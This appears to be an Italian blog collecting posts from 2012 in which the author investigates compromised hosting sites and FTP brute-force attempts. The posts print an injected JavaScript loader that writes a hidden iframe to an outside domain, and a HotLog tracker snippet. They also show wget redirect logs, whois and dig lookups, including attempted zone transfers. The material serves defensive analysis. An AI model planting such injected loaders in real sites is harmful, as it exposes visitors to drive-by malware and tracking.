 hotlog_js="1.2"; hotlog_r+="&amp;wh="+screen.width+"x"+screen.height+"&amp;px="+
 (((navigator.appName.substring(0,3)=="Mic"))?screen.colorDepth:screen.pixelDepth);
 </scrip>
 <scrip type="text/javascrip" language="javascrip/1.3">
 hotlog_js="1.3";
 </scrip>
 <scrip type="tex/javascrip" language="javascrip">
 hotlog_r+="&amp;js="+hotlog_js;
 document.write('<a href="http://click.hotlog.ru/?2241559" target="_blank"><img '+
 'src="http://hit41.hotlog.ru/cgi-bin/hotlog/count?'+
 hotlog_r+'" border="0" width="88" height="31" alt="HotLog"></a>');
 </scrip>
 <noscrip>
 <a href="http://click.hotlog.ru/?2241559" target="_blank"><img
 src="http://hit41.hotlog.ru/cgi-bin/hotlog/count?s=2241559&amp;im=35" border="0"
 width="88" height="31" alt="HotLog"></a>
 </noscrip>
 <!-- /HotLog -->

Ma cos’è HotLog.ru? E’ semplicemente un sito che rilascia dei tracker cookies, in modo da poter “tracciare” le abitudini dei visitatori. In questo modo i cracker avranno una fonte di informazioni molto preziosa su cui modellare eventuali email di spamming o di phishing.

Se effettuate una ricerca su Google utilizzando la stringa:

try{1-prototype;}

vi accorgerete che di siti infetti ce n’è una marea.
Affinchè eventuali visitatori “vittima” di questo tipo di attacco possano dormire sonni tranquilli, consiglio loro di brasare i cookies e la cache del browser.

Per maggiori info sulla rimozione dei tracker cookies vi rimando a questo sito:

http://www.exterminate-it.com/malpedia/remove-hotlog-ru

Infine, tiriamo le somme:

1) non avendo accesso diretto ai log FTP ed HTTP del server di hosting, non posso individuare l’IP sorgente dell’attacco, anche se sono quasi certo che i cracker non si siano esposti direttamente, ma abbiano usato un altro sito infetto come testa di ponte;

2) data la legislazione russa (e dei Paesi dell’ex Unione Sovietica in genere), i proprietari dei domini su cui vengono effettuati i rimbalzi hanno le spalle coperte (non è un caso che i whois non mostrino alcuna informazione utile);

3) recentemente si sono moltiplicati gli attacchi diretti ai server Web/FTP mediante l’uso di credenziali di accesso lecite. Probabilmente anche l’attacco in questione è stato perpretrato utilizzando le suddette modalità. A tal proposito, vi consiglio di cambiare le credenziali FTP di tutti gli utenti, oltre a modificare username e password dei vostri account di posta (ho il vago spospetto che sia proprio questo il mezzo attraverso il quale i cracker ottengono le giuste credenziali).

4) per gli sviluppatori: ogni tanto date un’occhiata al codice sorgente del vostro sito, magari attraverso degli scrip bash (e simili), in modo da avere tempi di reazione ridotti e correre ai ripari il prima possibile in caso di attacco. Inoltre, se utilizzate CMS (Joomla, WordPress, Drupal, ecc.), assicuratevi di aver installato l’ultima versione (con annesse security patch) ed utilizzate degli add-on che possono aumentare il livello di sicurezza offerto.

Fine del post, alla prossima.

 

Attacco a GoDaddy.com: alcune precisazioni

Ok, in questo post vi avevo parlato di un attacco che molto probabilmente coinvolgeva i siti hostati su GoDaddy. In realtà, però, ultimanente è cresciuto a dismisura il numero di Web Hosting violati, ergo parlare solo di GoDaddy sarebbe estremamente riduttivo.

 

cracker2.jpg

Mi spiego meglio: sia sul mio server FTP (casalingo) che su 2 server hostati su 2 differenti farm si sono verificati tentativi di accesso usando credenziali FTP lecite. Ciò significa che in circolazione è presente un malware che riesce ad intercettare il contenuto delle email ed a ricavare le credenziali dei server FTP scambiate attraverso il suddetto canale di comunicazione (che di per sè è poco sicuro).

Per quanto mi riguarda, sul mio server ho provveduto a rimuovere completamente gli account relativi agli utenti le cui credenziali sono state violate, in un altro caso ho provveduto a monitorare gli accessi FTP mediante i file di log, arrivando sempre e comunque alla stessa conclusione, ovvero che alcuni cracker sono riusciti ad individuare le giuste credenziali per eccedere ai server.

Inoltre, entrambe le pagine dei server Web su hosting provider presentavano del codice javascrip creato ad-hoc, ovvero:

http://fossfotography.com/wp-content/uploads/process.js

In realtà, però, se puntiamo alla directory uploads, il risultato è il seguente:

nightfly@nightbox:~$ wget http://fossfotography.com/wp-content/uploads/
--2012-07-25 11:10:24--  http://fossfotography.com/wp-content/uploads/
Resolving fossfotography.com... 173.201.146.128

Connecting to fossfotography.com|173.201.146.128|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://fossfotography.com/var/chroot/home/content/90/5954490/html/wp-content/htttp://reltime2012.ru/frunleh?9 [following]
--2012-07-25 11:10:25--  http://fossfotography.com/var/chroot/home/content/90/5954490/html/wp-content/htttp://reltime2012.ru/frunleh?9
Reusing existing connection to fossfotography.com:80.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://fossfotography.com/htttp://reltime2012.ru/frunleh?9 [following]
--2012-07-25 11:10:25--  http://fossfotography.com/htttp://reltime2012.ru/frunleh?9
Reusing existing connection to fossfotography.com:80.

ovvero avviene un redirect sulla URL htttp://reltime2012.ru/frunleh?9

No, non è un errore di battitura, è proprio htttp e non http.

A questo punto ho deciso di lanciare un wget su http://reltime2012.ru/frunleh?9

ed il risultato è stato questo:

nightfly@nightbox:~$ wget http://reltime2012.ru/frunleh?9
--2012-07-25 11:11:28--  http://reltime2012.ru/frunleh?9
Resolving reltime2012.ru... 67.215.65.132
Connecting to reltime2012.ru|67.215.65.132|:80... connected.
HTTP request sent, awaiting response... 303 See Other
Location: http://guidetest.a.id.opendns.com/?url=reltime2012%2Eru%2Ffrunleh%3F9 [following]
--2012-07-25 11:11:28--  http://guidetest.a.id.opendns.com/?url=reltime2012%2Eru%2Ffrunleh%3F9
Resolving guidetest.a.id.opendns.com... 67.215.67.10
Connecting to guidetest.a.id.opendns.com|67.215.67.10|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://w10.guidetest.b.id.opendns.com/?url=reltime2012%2Eru%2Ffrunleh%3F9 [following]
--2012-07-25 11:11:29--  http://w10.guidetest.b.id.opendns.com/?url=reltime2012%2Eru%2Ffrunleh%3F9
Resolving w10.guidetest.b.id.opendns.com... 67.215.67.10
Connecting to w10.guidetest.b.id.opendns.com|67.215.67.10|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://w10.w10.guidetest.c.id.opendns.com/?url=reltime2012%2Eru%2Ffrunleh%3F9 [following]
--2012-07-25 11:11:29--  http://w10.w10.guidetest.c.id.opendns.com/?url=reltime2012%2Eru%2Ffrunleh%3F9
Resolving w10.w10.guidetest.c.id.opendns.com... 67.215.67.10
Connecting to w10.w10.guidetest.c.id.opendns.com|67.215.67.10|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://w10.w10.w10.guidetest.d.id.opendns.com/?url=reltime2012%2Eru%2Ffrunleh%3F9 [following]
--2012-07-25 11:11:30--  http://w10.w10.w10.guidetest.d.id.opendns.com/?url=reltime2012%2Eru%2Ffrunleh%3F9
Resolving w10.w10.w10.guidetest.d.id.opendns.com... 67.215.67.10
Connecting to w10.w10.w10.guidetest.d.id.opendns.com|67.215.67.10|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://w10.w10.w10.w10.guidetest.e.id.opendns.com/?url=reltime2012%2Eru%2Ffrunleh%3F9 [following]
--2012-07-25 11:11:30--  http://w10.w10.w10.w10.guidetest.e.id.opendns.com/?url=reltime2012%2Eru%2Ffrunleh%3F9
Resolving w10.w10.w10.w10.guidetest.e.id.opendns.com... 67.215.67.10
Connecting to w10.w10.w10.w10.guidetest.e.id.opendns.com|67.215.67.10|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://www.website-unavailable.com/?wc=EWJpExd9AQVABBJuAQ8=&url=reltime2012%2Eru%2Ffrunleh%3F9 [following]
--2012-07-25 11:11:31--  http://www.website-unavailable.com/?wc=EWJpExd9AQVABBJuAQ8=&url=reltime2012%2Eru%2Ffrunleh%3F9
Resolving www.website-unavailable.com... 208.69.33.136
Connecting to www.website-unavailable.com|208.69.33.136|:80... connected.
HTTP request sent, awaiting response... 200 OK
Cookie coming from www.website-unavailable.com attempted to set domain to www.website-unavailable.com
Length: 3877 (3.8K) [text/html]
Saving to: `frunleh?9'

Dall’output si evince che la URL non è più raggiungibile (non esiste alcuna entry DNS).

Successivamente un whois riportava le seguenti info:

nightfly@nightbox:~$ whois  reltime2012.ru
% By submitting a query to RIPN's Whois Service
% you agree to abide by the following terms of use:
% http://www.ripn.net/about/servpol.html#3.2 (in Russian)
% http://www.ripn.net/about/en/servpol.html#3.2 (in English).

domain:        RELTIME2012.RU
nserver:       ns1.reg.ru.
nserver:       ns2.reg.ru.
state:         REGISTERED, NOT DELEGATED, VERIFIED
person:        Private Person
registrar:     REGRU-REG-RIPN
admin-contact: http://www.reg.ru/whois/admin_contact
created:       2012.07.03
paid-till:     2013.07.03
free-date:     2013.08.03
source:        TCI

Last updated on 2012.07.25 14:00:46 MSK

Gli NS del registrar sono ns1.reg.ru ed ns2.reg.ru. Vediamo se una query con dig riesce a darmi qualche indirizzo IP utile associato a quell’FQDN (alias record A):

nightfly@nightbox:~$ dig @ns1.reg.ru  reltime2012.ru

; <<>> DiG 9.7.0-P1 <<>> @ns1.reg.ru reltime2012.ru
; (2 servers found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 37008
;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;reltime2012.ru.                        IN      A

;; AUTHORITY SECTION:
reltime2012.ru.         43200   IN      SOA     ns1.reg.ru. hostmaster.ns1.reg.ru. 1341617290 14400 3600 604800 21600

;; Query time: 161 msec
;; SERVER: 31.31.204.37#53(31.31.204.37)
;; WHEN: Wed Jul 25 12:13:24 2012
;; MSG SIZE  rcvd: 87

nightfly@nightbox:~$ dig @ns2.reg.ru  reltime2012.ru

; <<>> DiG 9.7.0-P1 <<>> @ns2.reg.ru reltime2012.ru
; (2 servers found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 36077
;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;reltime2012.ru.                        IN      A

;; AUTHORITY SECTION:
reltime2012.ru.         43200   IN      SOA     ns1.reg.ru. hostmaster.ns1.reg.ru. 1341617290 14400 3600 604800 21600

;; Query time: 122 msec
;; SERVER: 31.31.204.25#53(31.31.204.25)
;; WHEN: Wed Jul 25 12:15:11 2012
;; MSG SIZE  rcvd: 87

Niente da fare, non riesco ad ottenere alcun indirizzo IP associato al suddetto FQDN.

Però, mi lascia riflettere la seguente stringa:

;; WARNING: recursion requested but not available

Ciò significa che i suddetti NS funzionano in modalità ricorsiva, ovvero sono a conoscenza degli NS autoritativi per quel particolare dominio, ma non sono autorizzati ad effettuare la suddetta richiesta.

Infine, mi son giocato la carta dei trasferimenti di zona forzosi, ma anche questo tentativo non è andato a buon fine:

nightfly@nightbox:~$ dig @ns2.reg.ru reg.ru axfr

; <<>> DiG 9.7.0-P1 <<>> @ns2.reg.ru reg.ru axfr
; (2 servers found)
;; global options: +cmd
; Transfer failed.
nightfly@nightbox:~$ dig @ns1.reg.ru reg.ru axfr

; <<>> DiG 9.7.0-P1 <<>> @ns1.reg.ru reg.ru axfr
; (2 servers found)
;; global options: +cmd
; Transfer failed.

Per la serie “i russi non si smentiscono mai”…

GoDaddy.com sotto attacco?

Uno degli hosting provider più grandi al mondo, ovvero GoDaddy.com, da qualche giorno sembra essere sotto attacco.

Nello specifico, su alcuni siti viene iniettato del codice javascrip simile al seguente:

<scrip type="text/javascrip" src="http://certodominio/wp-content/uploads/process.js"></scrip>

Il contenuto dello scrip process.js è questo:

document.write('<iframesrc="http://altrodominio/t/5ad53fb3b6d8b22e91e679e16d77d767" width="2" height="3" frameborder="0"></iframe> ')

Ovvero tale scrip non fa altro che visualizzare in un iframe il contenuto di http://altrodominio/t/5ad53fb3b6d8b22e91e679e16d77d767

La suddetta URL mi lascia pensare che si tratti di un dominio creato appositamente per piazzarci sopra del codice malevolo oppure per carpire indirizzi IP ed informazioni varie relative ai visitatori.

Ho inoltre effettuato un whois verso domini coinvolti ed il risultato è che tutti e tre sono hostati su GoDaddy.com.

Registered through: GoDaddy.com, LLC (http://www.godaddy.com)

Soprattutto l’ultimo dominio, pur variando di caso in caso, risulta appartenere ad una persona specifica (vittima, secondo me, di un furto di identità).

A questo punto il sospetto rischia di diventare certezza…

Vi terrò comunque aggiornati.

A presto.

Attacco bruteforce sul server FTP casalingo

Allora, diciamo che è dalle 8:26 di questa mattina che ricevo attacchi bruteforce sulle credenziali di accesso del mio server FTP casalingo da parte dell’IP 124.205.181.87:

Hi,

The IP 124.205.181.87 has just been banned by Fail2Ban after
6 attempts against vsftpd.

Here are more information about 124.205.181.87:

% [whois.apnic.net node-4]
% Whois data copyright terms    http://www.apnic.net/db/dbcopyright.html

inetnum:        124.205.0.0 - 124.205.255.255
netname:        DXTNET
descr:          Beijing Teletron Telecom Engineering Co., Ltd.
descr:          Jian Guo Road, Chaoyang District, Beijing, PR.China
country:        CN
admin-c:        PP40-AP
tech-c:         PP40-AP
status:         ALLOCATED NON-PORTABLE
changed:        ipas@cnnic.net.cn 20080927
mnt-by:         MAINT-CNNIC-AP
mnt-lower:      MAINT-CNNIC-AP
mnt-routes:     MAINT-CNCGROUP-RR
source:         APNIC

person:         Pang Patrick
nic-hdl:        PP40-AP
e-mail:         bill.pang@bj.datadragon.net
address:        Fl./8, South Building, Bridge Mansion, No. 53
phone:          +86-10-63181513
fax-no:         +86-10-63181597
country:        CN
changed:        ipas@cnnic.net.cn 20030304
mnt-by:         MAINT-CNNIC-AP
source:         APNIC

Regards,

Fail2Ban

Premesso che non ho niente contro gli smanettoni cinesi… però qui ci vorrebbe un minimo di raziocinio, ossia: cosa mi bombardi il server FTP con il bruteforce quando mi pare CHIARO che non uso password semplici o di default? Bah, mi sa che imposterò una piccola ACL direttamente sul router.

Bye.